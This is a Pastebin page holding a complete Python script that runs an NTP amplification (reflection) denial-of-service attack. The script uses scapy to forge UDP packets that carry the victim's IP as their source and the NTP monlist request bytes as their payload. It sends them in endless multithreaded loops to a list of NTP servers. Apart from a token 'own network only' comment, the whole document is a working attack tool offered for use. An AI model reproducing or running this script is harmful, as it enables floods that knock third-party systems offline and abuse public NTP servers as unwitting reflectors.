Guest User

NTP DRDoS Py

a guest
Sep 29th, 2016
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.20 KB | None | 0 0
  1. #!/usr/bin/env python
  2. from scapy.all import *
  3. import sys
  4. import threading
  5. import time
  6. import random   # For Random source port
  7. #NTP Amp DOS attack
  8. #by DaRkReD
  9. #usage ntpdos.py <target ip> <ntpserver list> <number of threads> ex: ntpdos.py 1.2.3.4 file.txt 10
  10. #FOR USE ON YOUR OWN NETWORK ONLY
  11.  
  12. # Random source port added by JDMoore0883
  13.  
  14. #packet sender
  15. def deny():
  16.     #Import globals to function
  17.     global ntplist
  18.     global currentserver
  19.     global data
  20.     global target
  21.     ntpserver = ntplist[currentserver] #Get new server
  22.     currentserver = currentserver + 1 #Increment for next
  23.     packet = IP(dst=ntpserver,src=target)/UDP(sport=random.randint(2000,65535),dport=123)/Raw(load=data) #BUILD IT
  24.     send(packet,loop=1) #SEND IT
  25.  
  26. #So I dont have to have the same stuff twice
  27. def printhelp():
  28.     print "NTP Amplification DOS Attack"
  29.     print "By DaRkReD"
  30.     print "Usage ntpdos.py <target ip> <ntpserver list> <number of threads>"
  31.     print "ex: ex: ntpdos.py 1.2.3.4 file.txt 10"
  32.     print "NTP serverlist file should contain one IP per line"
  33.     print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"
  34.     exit(0)
  35.  
  36. if len(sys.argv) < 4:
  37.     printhelp()
  38. #Fetch Args
  39. target = sys.argv[1]
  40.  
  41. #Help out idiots
  42. if target in ("help","-h","h","?","--h","--help","/?"):
  43.     printhelp()
  44.  
  45. ntpserverfile = sys.argv[2]
  46. numberthreads = int(sys.argv[3])
  47. #System for accepting bulk input
  48. ntplist = []
  49. currentserver = 0
  50. with open(ntpserverfile) as f:
  51.     ntplist = f.readlines()
  52.  
  53. #Make sure we dont out of bounds
  54. if  numberthreads > int(len(ntplist)):
  55.     print "Attack Aborted: More threads than servers"
  56.     print "Next time dont create more threads than servers"
  57.     exit(0)
  58.  
  59. #Magic Packet aka NTP v2 Monlist Packet
  60. data = "\x17\x00\x03\x2a" + "\x00" * 4
  61.  
  62. #Hold our threads
  63. threads = []
  64. print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads"
  65. print "Use CTRL+C to stop attack"
  66.  
  67. #Thread spawner
  68. for n in range(numberthreads):
  69.     thread = threading.Thread(target=deny)
  70.     thread.daemon = True
  71.     thread.start()
  72.  
  73.     threads.append(thread)
  74.  
  75. #In progress!
  76. print "Sending..."
  77.  
  78. #Keep alive so ctrl+c still kills all them threads
  79. while True:
  80.     time.sleep(1)
Add Comment
Please, Sign In to add comment